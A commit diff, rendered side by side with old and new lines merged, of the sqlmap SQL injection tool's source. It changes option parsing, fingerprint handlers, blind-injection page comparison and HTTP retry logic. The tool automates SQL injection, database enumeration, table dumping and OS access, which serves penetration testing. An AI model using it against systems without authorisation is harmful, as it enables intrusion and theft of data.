def endElement(self, name): def endElement(self, name):
if name == "signature": if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner): if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
self.release = self.__release self.__feedInfo("dbmsRelease", self.__release)
self.version = self.__version self.__feedInfo("dbmsVersion", self.__version)
self.servicePack = self.__servicePack self.__feedInfo("dbmsServicePack", self.__servicePack)
self.__version = "" self.__version = ""
self.__servicePack = "" self.__servicePack = ""
@@ -89,16 +99,30 @@ class bannerHandler(ContentHandler):
self.__servicePack = self.__servicePack.replace(" ", "") self.__servicePack = self.__servicePack.replace(" ", "")
def bannerParser(banner):
def bannerParser(banner, xmlfile):
""" """
This function calls a class to extract information from the given This function calls a class to extract information from the given
DBMS banner based upon the data in XML file DBMS banner based upon the data in XML file
""" """
checkFile(xmlfile) if kb.dbms == "Microsoft SQL Server":
banner = sanitizeStr(banner) xmlfile = paths.MSSQL_XML
handler = bannerHandler(banner) elif kb.dbms == "MySQL":
parse(xmlfile, handler) xmlfile = paths.MYSQL_XML
elif kb.dbms == "Oracle":
xmlfile = paths.ORACLE_XML
elif kb.dbms == "PostgreSQL":
xmlfile = paths.PGSQL_XML
return handler.release, handler.version, handler.servicePack checkFile(xmlfile)
if kb.dbms == "Microsoft SQL Server":
handler = MSSQLBannerHandler(banner)
parse(xmlfile, handler)
handler = FingerprintHandler(banner, kb.bannerFp)
parse(paths.GENERIC_XML, handler)
else:
handler = FingerprintHandler(banner, kb.bannerFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)

View File

@@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from optparse import OptionError from optparse import OptionError
from optparse import OptionGroup from optparse import OptionGroup
from optparse import OptionParser from optparse import OptionParser
@@ -37,23 +39,33 @@ def cmdLineParser():
This function parses the command line parameters and arguments This function parses the command line parameters and arguments
""" """
usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}" usage = "%s [options]" % sys.argv[0]
parser = OptionParser(usage=usage, version=VERSION_STRING) parser = OptionParser(usage=usage, version=VERSION_STRING)
try: try:
parser.add_option("-v", dest="verbose", type="int",
help="Verbosity level: 0-5 (default 1)")
# Target options
target = OptionGroup(parser, "Target", "At least one of these "
"options has to be specified to set the source "
"to get target urls from.")
target.add_option("-u", "--url", dest="url", help="Target url")
target.add_option("-l", dest="list", help="Parse targets from Burp "
"or WebScarab logs")
target.add_option("-g", dest="googleDork",
help="Process Google dork results as target urls")
target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
# Request options # Request options
request = OptionGroup(parser, "Request", "These options have to " request = OptionGroup(parser, "Request", "These options can be used "
"be specified to set the target url, HTTP " "to specify how to connect to the target url.")
"method, how to connect to the target url "
"or Google dorking results in general.")
request.add_option("-u", "--url", dest="url", help="Target url")
request.add_option("-g", dest="googleDork",
help="Process Google dork results as target urls")
request.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
request.add_option("--method", dest="method", default="GET", request.add_option("--method", dest="method", default="GET",
help="HTTP method, GET or POST (default: GET)") help="HTTP method, GET or POST (default: GET)")
@@ -74,6 +86,9 @@ def cmdLineParser():
help="Load a random HTTP User-Agent " help="Load a random HTTP User-Agent "
"header from file") "header from file")
request.add_option("--headers", dest="headers",
help="Extra HTTP headers '\\n' separated")
request.add_option("--auth-type", dest="aType", request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type, value: " help="HTTP Authentication type, value: "
"Basic or Digest") "Basic or Digest")
@@ -89,22 +104,85 @@ def cmdLineParser():
help="Maximum number of concurrent HTTP " help="Maximum number of concurrent HTTP "
"requests (default 1)") "requests (default 1)")
request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection "
"(default 10)")
# Injection options # Injection options
injection = OptionGroup(parser, "Injection") injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"how to parse and compare HTTP responses "
"page content when using the blind SQL "
"injection technique.")
injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
injection.add_option("--prefix", dest="prefix",
help="Injection payload prefix string")
injection.add_option("--postfix", dest="postfix",
help="Injection payload postfix string")
injection.add_option("--string", dest="string", injection.add_option("--string", dest="string",
help="String to match in page when the " help="String to match in page when the "
"query is valid") "query is valid")
injection.add_option("--dbms", dest="dbms", injection.add_option("--regexp", dest="regexp",
help="Force back-end DBMS to this value") help="Regexp to match in page when the "
"query is valid")
injection.add_option("--excl-str", dest="eString",
help="String to be excluded before calculating "
"page hash")
injection.add_option("--excl-reg", dest="eRegexp",
help="Regexp matches to be excluded before "
"calculating page hash")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
"technique or to use one of them to exploit "
"the affected parameter(s) rather than using "
"the default blind SQL injection technique.")
techniques.add_option("--stacked-test", dest="stackedTest",
action="store_true",
help="Test for stacked queries (multiple "
"statements) support")
techniques.add_option("--time-test", dest="timeTest",
action="store_true",
help="Test for Time based blind SQL injection")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION query (inband) SQL injection")
techniques.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION query (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options # Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint") fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
action="store_true", action="store_true",
help="Perform an extensive database fingerprint") help="Perform an extensive DBMS version fingerprint")
# Enumeration options # Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can " enumeration = OptionGroup(parser, "Enumeration", "These options can "
@@ -124,6 +202,10 @@ def cmdLineParser():
action="store_true", action="store_true",
help="Retrieve DBMS current database") help="Retrieve DBMS current database")
enumeration.add_option("--is-dba", dest="isDba",
action="store_true",
help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true", enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users") help="Enumerate DBMS users")
@@ -143,11 +225,11 @@ def cmdLineParser():
enumeration.add_option("--columns", dest="getColumns", action="store_true", enumeration.add_option("--columns", dest="getColumns", action="store_true",
help="Enumerate DBMS database table columns " help="Enumerate DBMS database table columns "
"(req: -T, -D)") "(req:-T opt:-D)")
enumeration.add_option("--dump", dest="dumpTable", action="store_true", enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries " help="Dump DBMS database table entries "
"(req: -T, -D opt: -C, --start, --stop)") "(req: -T, opt: -D, -C, --start, --stop)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true", enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries") help="Dump all DBMS databases tables entries")
@@ -182,6 +264,7 @@ def cmdLineParser():
action="store_true", action="store_true",
help="Prompt for an interactive SQL shell") help="Prompt for an interactive SQL shell")
# File system options # File system options
filesystem = OptionGroup(parser, "File system access", "These options " filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database " "can be used to access the back-end database "
@@ -195,6 +278,7 @@ def cmdLineParser():
filesystem.add_option("--write-file", dest="wFile", filesystem.add_option("--write-file", dest="wFile",
help="Write to a specific OS file (not yet available)") help="Write to a specific OS file (not yet available)")
# Takeover options # Takeover options
takeover = OptionGroup(parser, "Operating system access", "This " takeover = OptionGroup(parser, "Operating system access", "This "
"option can be used to access the back-end " "option can be used to access the back-end "
@@ -208,27 +292,15 @@ def cmdLineParser():
"writable directory within the web " "writable directory within the web "
"server document root for the moment)") "server document root for the moment)")
# Miscellaneous options # Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous") miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
miscellaneous.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
miscellaneous.add_option("--eta", dest="eta", action="store_true", miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and " help="Retrieve each query output length and "
"calculate the estimated time of arrival " "calculate the estimated time of arrival "
"in real time") "in real time")
miscellaneous.add_option("-v", dest="verbose", type="int",
help="Verbosity level: 0-5 (default 0)")
miscellaneous.add_option("--update", dest="updateAll", action="store_true", miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version") help="Update sqlmap to the latest stable version")
@@ -236,17 +308,17 @@ def cmdLineParser():
help="Save and resume all data retrieved " help="Save and resume all data retrieved "
"on a session file") "on a session file")
miscellaneous.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true", miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file") help="Save options on a configuration INI file")
miscellaneous.add_option("--batch", dest="batch", action="store_true", miscellaneous.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behaviour") help="Never ask for user input, use the default behaviour")
parser.add_option_group(target)
parser.add_option_group(request) parser.add_option_group(request)
parser.add_option_group(injection) parser.add_option_group(injection)
parser.add_option_group(techniques)
parser.add_option_group(fingerprint) parser.add_option_group(fingerprint)
parser.add_option_group(enumeration) parser.add_option_group(enumeration)
parser.add_option_group(filesystem) parser.add_option_group(filesystem)
@@ -255,8 +327,8 @@ def cmdLineParser():
(args, _) = parser.parse_args() (args, _) = parser.parse_args()
if not args.url and not args.googleDork and not args.configFile and not args.updateAll: if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:
errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), " errMsg = "missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), "
errMsg += "-h for help" errMsg += "-h for help"
parser.error(errMsg) parser.error(errMsg)

View File

@@ -79,15 +79,18 @@ def configFileParser(configFile):
config = ConfigParser() config = ConfigParser()
config.read(configFile) config.read(configFile)
if not config.has_section("Request"): if not config.has_section("Target"):
raise NoSectionError, "Request in the configuration file is mandatory" raise NoSectionError, "Target in the configuration file is mandatory"
if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"): condition = not config.has_option("Target", "url")
condition &= not config.has_option("Target", "list")
condition &= not config.has_option("Target", "googleDork")
if condition:
errMsg = "missing a mandatory option in the configuration " errMsg = "missing a mandatory option in the configuration "
errMsg += "file (url or googleDork)" errMsg += "file (url, list or googleDork)"
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException, errMsg
for family, optionData in optDict.items(): for family, optionData in optDict.items():
for option, data in optionData.items(): for option, data in optionData.items():
boolean = False boolean = False

96
lib/parse/handler.py Normal file
View File

@@ -0,0 +1,96 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler):
"""
This class defines methods to parse and extract information from
the given DBMS banner based upon the data in XML file
"""
def __init__(self, banner, info):
self.__banner = sanitizeStr(banner)
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None
self.__info = info
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
if key in ( "dbmsVersion" ):
self.__info[key] = value
else:
if key not in self.__info.keys():
self.__info[key] = set()
for v in value.split("|"):
self.__info[key].add(v)
def startElement(self, name, attrs):
if name == "regexp":
self.__regexp = sanitizeStr(attrs.get("value"))
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
if name == "info" and self.__match:
self.__feedInfo("type", attrs.get("type"))
self.__feedInfo("distrib", attrs.get("distrib"))
self.__feedInfo("release", attrs.get("release"))
self.__feedInfo("codename", attrs.get("codename"))
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
self.__sp = sanitizeStr(attrs.get("sp"))
if self.__dbmsVersion.isdigit():
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
if self.__techVersion.isdigit():
self.__feedInfo("technology", "%s %s" % (attrs.get("technology"), self.__match.group(int(self.__techVersion))))
else:
self.__feedInfo("technology", attrs.get("technology"))
if self.__sp.isdigit():
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None

70
lib/parse/headers.py Normal file
View File

@@ -0,0 +1,70 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax import parse
from lib.core.common import checkFile
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
def headersParser(headers):
"""
This function calls a class that parses the input HTTP headers to
fingerprint the back-end database management system operating system
and the web application technology
"""
# It is enough to parse the headers on first four HTTP responses
if kb.headersCount > 3:
return
kb.headersCount += 1
topHeaders = {
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
}
for header in headers:
if header in topHeaders.keys():
value = headers[header]
xmlfile = topHeaders[header]
checkFile(xmlfile)
handler = FingerprintHandler(value, kb.headersFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)

View File

@@ -31,6 +31,8 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import sanitizeStr from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
class htmlHandler(ContentHandler): class htmlHandler(ContentHandler):
@@ -40,12 +42,12 @@ class htmlHandler(ContentHandler):
""" """
def __init__(self, page): def __init__(self, page):
self.__dbms = None self.__dbms = None
self.__page = page self.__page = page
self.__regexp = None self.__regexp = None
self.__match = None self.__match = None
self.dbms = None self.dbms = None
def startElement(self, name, attrs): def startElement(self, name, attrs):
@@ -61,15 +63,19 @@ class htmlHandler(ContentHandler):
self.__match = None self.__match = None
def htmlParser(page, xmlfile): def htmlParser(page):
""" """
This function calls a class that parses the input HTML page to This function calls a class that parses the input HTML page to
fingerprint the back-end database management system fingerprint the back-end database management system
""" """
xmlfile = paths.ERRORS_XML
checkFile(xmlfile) checkFile(xmlfile)
page = sanitizeStr(page) page = sanitizeStr(page)
handler = htmlHandler(page) handler = htmlHandler(page)
parse(xmlfile, handler) parse(xmlfile, handler)
if handler.dbms and handler.dbms not in kb.htmlFp:
kb.htmlFp.append(handler.dbms)
return handler.dbms return handler.dbms

View File

@@ -95,6 +95,14 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.count = data self.__queries.count = data
elif name == "comment":
data = sanitizeStr(attrs.get("query"))
self.__queries.comment = data
elif name == "timedelay":
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
elif name == "substring": elif name == "substring":
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data self.__queries.substring = data
@@ -115,6 +123,10 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query")) data = sanitizeStr(attrs.get("query"))
self.__queries.currentDb = data self.__queries.currentDb = data
elif name == "is_dba":
data = sanitizeStr(attrs.get("query"))
self.__queries.isDba = data
elif name == "inband": elif name == "inband":
self.__inband = sanitizeStr(attrs.get("query")) self.__inband = sanitizeStr(attrs.get("query"))
self.__inband2 = sanitizeStr(attrs.get("query2")) self.__inband2 = sanitizeStr(attrs.get("query2"))

View File

@@ -29,6 +29,7 @@ import re
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
@@ -51,7 +52,7 @@ def forgeHeaders(cookie, ua):
return headers return headers
def parsePage(page): def parseResponse(page, headers):
""" """
@param page: the page to parse to feed the knowledge base htmlFp @param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return (back-end DBMS fingerprint based upon DBMS error messages return
@@ -63,19 +64,17 @@ def parsePage(page):
like for DBMS error messages (ERRORS_XML), see above. like for DBMS error messages (ERRORS_XML), see above.
""" """
if not page: if headers:
return headersParser(headers)
htmlParsed = htmlParser(page, paths.ERRORS_XML) if page:
htmlParser(page)
if htmlParsed and htmlParsed not in kb.htmlFp: # Detect injectable page absolute system path
kb.htmlFp.append(htmlParsed) # NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
# Detect injectable page absolute system path for absFilePath in absFilePaths:
# NOTE: this regular expression works if the remote web application if absFilePath not in kb.absFilePaths:
# is written in PHP and debug/error messages are enabled. kb.absFilePaths.add(absFilePath)
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)

106
lib/request/comparison.py Normal file
View File

@@ -0,0 +1,106 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import md5
import re
from lib.core.data import conf
def comparison(page, headers=None, content=False):
regExpResults = None
# String to be excluded before calculating page hash
if conf.eString and conf.eString in page:
index = page.index(conf.eString)
length = len(conf.eString)
pageWithoutString = page[:index]
pageWithoutString += page[index+length:]
page = pageWithoutString
# Regular expression matches to be excluded before calculating page hash
if conf.eRegexp:
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
if regExpResults:
for regExpResult in regExpResults:
index = page.index(regExpResult)
length = len(regExpResult)
pageWithoutRegExp = page[:index]
pageWithoutRegExp += page[index+length:]
page = pageWithoutRegExp
# String to match in page when the query is valid
if conf.string:
if conf.string in page:
return True
else:
return False
# Regular expression to match in page when the query is valid
if conf.regexp:
if re.search(conf.regexp, page, re.I | re.M):
return True
else:
return False
# By default it returns the page content MD5 hash
if not conf.equalLines and not conf.contentLengths:
return md5.new(page).hexdigest()
# TODO: go ahead from here
# Comparison algorithm based on Content-Length header value
elif conf.contentLengths:
minValue = conf.contentLengths[0] - 10
maxValue = conf.contentLengths[1] + 10
if len(page) >= minValue and len(page) <= maxValue:
return True
# Comparison algorithm based on page content's stable lines subset
elif conf.equalLines:
counter = 0
trueLines = 0
pageLines = page.split("\n")
for commonLine in conf.equalLines:
if counter >= len(pageLines):
break
if commonLine in pageLines:
trueLines += 1
counter += 1
# TODO: just debug prints
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
return True
else:
return False

View File

@@ -24,10 +24,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import httplib
import md5 import md5
import re import re
import socket
import time
import urllib2 import urllib2
import urlparse import urlparse
import traceback
from lib.contrib import multipartpost from lib.contrib import multipartpost
from lib.core.convert import urlencode from lib.core.convert import urlencode
@@ -35,9 +39,10 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.core.settings import RETRIES
from lib.request.basic import forgeHeaders from lib.request.basic import forgeHeaders
from lib.request.basic import parsePage from lib.request.basic import parseResponse
from lib.request.comparison import comparison
class Connect: class Connect:
@@ -45,6 +50,12 @@ class Connect:
This class defines methods used to perform HTTP requests This class defines methods used to perform HTTP requests
""" """
@staticmethod
def __getPageProxy(**kwargs):
return Connect.getPage(**kwargs)
@staticmethod @staticmethod
def getPage(**kwargs): def getPage(**kwargs):
""" """
@@ -52,6 +63,9 @@ class Connect:
the target url page content the target url page content
""" """
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
url = kwargs.get('url', conf.url).replace(" ", "%20") url = kwargs.get('url', conf.url).replace(" ", "%20")
get = kwargs.get('get', None) get = kwargs.get('get', None)
post = kwargs.get('post', None) post = kwargs.get('post', None)
@@ -60,6 +74,7 @@ class Connect:
direct = kwargs.get('direct', False) direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False) multipart = kwargs.get('multipart', False)
page = ""
cookieStr = "" cookieStr = ""
requestMsg = "HTTP request:\n%s " % conf.method requestMsg = "HTTP request:\n%s " % conf.method
responseMsg = "HTTP response " responseMsg = "HTTP response "
@@ -82,6 +97,7 @@ class Connect:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler) multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart) conn = multipartOpener.open(url, multipart)
page = conn.read() page = conn.read()
return page return page
else: else:
@@ -102,7 +118,9 @@ class Connect:
requestMsg += " HTTP/1.1" requestMsg += " HTTP/1.1"
if cookie: if cookie:
cookie = urlencode(cookie).replace("%%", "%") # TODO: sure about encoding the cookie?
#cookie = urlencode(cookie).replace("%%", "%")
cookie = cookie.replace("%%", "%")
try: try:
# Perform HTTP request # Perform HTTP request
@@ -110,6 +128,9 @@ class Connect:
req = urllib2.Request(url, post, headers) req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req) conn = urllib2.urlopen(req)
# Reset the number of connection retries
conf.retries = 0
if not req.has_header("Accept-Encoding"): if not req.has_header("Accept-Encoding"):
requestHeaders += "\nAccept-Encoding: identity" requestHeaders += "\nAccept-Encoding: identity"
@@ -156,19 +177,43 @@ class Connect:
status = e.msg status = e.msg
responseHeaders = e.info() responseHeaders = e.info()
except urllib2.URLError, e: except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine), _:
warnMsg = "unable to connect to the target url" tbMsg = traceback.format_exc()
if conf.googleDork: if "URLError" in tbMsg or "error" in tbMsg:
warnMsg = "unable to connect to the target url"
elif "timeout" in tbMsg:
warnMsg = "connection timed out to the target url"
elif "BadStatusLine" in tbMsg:
warnMsg = "the target url responded with an unknown HTTP "
warnMsg += "status code, try to force the HTTP User-Agent "
warnMsg += "header with option --user-agent or -a"
if "BadStatusLine" not in tbMsg:
warnMsg += " or proxy"
if conf.multipleTargets:
warnMsg += ", skipping to next url" warnMsg += ", skipping to next url"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None, None
if conf.retries < RETRIES:
conf.retries += 1
warnMsg += ", sqlmap is going to retry the request"
logger.warn(warnMsg)
time.sleep(1)
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
else: else:
warnMsg += " or proxy"
raise sqlmapConnectionException, warnMsg raise sqlmapConnectionException, warnMsg
parsePage(page) parseResponse(page, responseHeaders)
responseMsg += "(%s - %d):\n" % (status, code) responseMsg += "(%s - %d):\n" % (status, code)
if conf.verbose <= 4: if conf.verbose <= 4:
@@ -178,7 +223,7 @@ class Connect:
logger.log(8, responseMsg) logger.log(8, responseMsg)
return page return page, responseHeaders
@staticmethod @staticmethod
@@ -221,14 +266,11 @@ class Connect:
else: else:
ua = conf.parameters["User-Agent"] ua = conf.parameters["User-Agent"]
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua) page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
if content: if content:
return page return page, headers
elif conf.string: elif page and headers:
if conf.string in page: return comparison(page, headers, content)
return True
else:
return False
else: else:
return md5.new(page).hexdigest() return False

View File

@@ -31,6 +31,7 @@ from lib.core.agent import agent
from lib.core.common import cleanQuery from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs from lib.core.common import replaceNewlineTabs
from lib.core.data import conf from lib.core.data import conf
@@ -38,22 +39,16 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.settings import SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection from lib.techniques.blind.inference import bisection
from lib.utils.resume import queryOutputLength from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume from lib.utils.resume import resume
def __getFieldsProxy(expression):
_, _, _, expressionFields = agent.getFields(expression)
expressionFieldsList = expressionFields.replace(", ", ",")
expressionFieldsList = expressionFieldsList.split(",")
return expressionFields, expressionFieldsList
def __goInference(payload, expression): def __goInference(payload, expression):
start = time.time() start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms: if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload) _, length, _ = queryOutputLength(expression, payload)
@@ -65,6 +60,10 @@ def __goInference(payload, expression):
count, value = bisection(payload, expression, length=length) count, value = bisection(payload, expression, length=length)
duration = int(time.time() - start) duration = int(time.time() - start)
if conf.eta and length:
infoMsg = "retrieved: %s" % value
logger.info(infoMsg)
infoMsg = "performed %d queries in %d seconds" % (count, duration) infoMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg) logger.info(infoMsg)
@@ -100,7 +99,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
parameter through a bisection algorithm. parameter through a bisection algorithm.
""" """
query = agent.prefixQuery(temp.inference) query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
count = None count = None
@@ -117,7 +116,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return output return output
if kb.dbmsDetected: if kb.dbmsDetected:
expressionFields, expressionFieldsList = __getFieldsProxy(expression) _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
if len(expressionFieldsList) > 1: if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. " infoMsg = "the SQL query provided has more than a field. "
@@ -168,8 +167,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n" test = "n"
else: else:
message = "does the SQL query that you provide might " message = "can the SQL query provided return "
message += "return multiple entries? [Y/n] " message += "multiple entries? [Y/n] "
test = readInput(message, default="Y") test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"): if not test or test[0] in ("y", "Y"):
@@ -187,11 +186,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if not count or not count.isdigit(): if not count or not count.isdigit():
count = __goInference(payload, countedExpression) count = __goInference(payload, countedExpression)
if count.isdigit() and int(count) > 0: if count and count.isdigit() and int(count) > 0:
count = int(count) count = int(count)
message = "the SQL query that you provide can " message = "the SQL query provided can return "
message += "return up to %d entries. How many " % count message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n" message += "entries do you want to retrieve?\n"
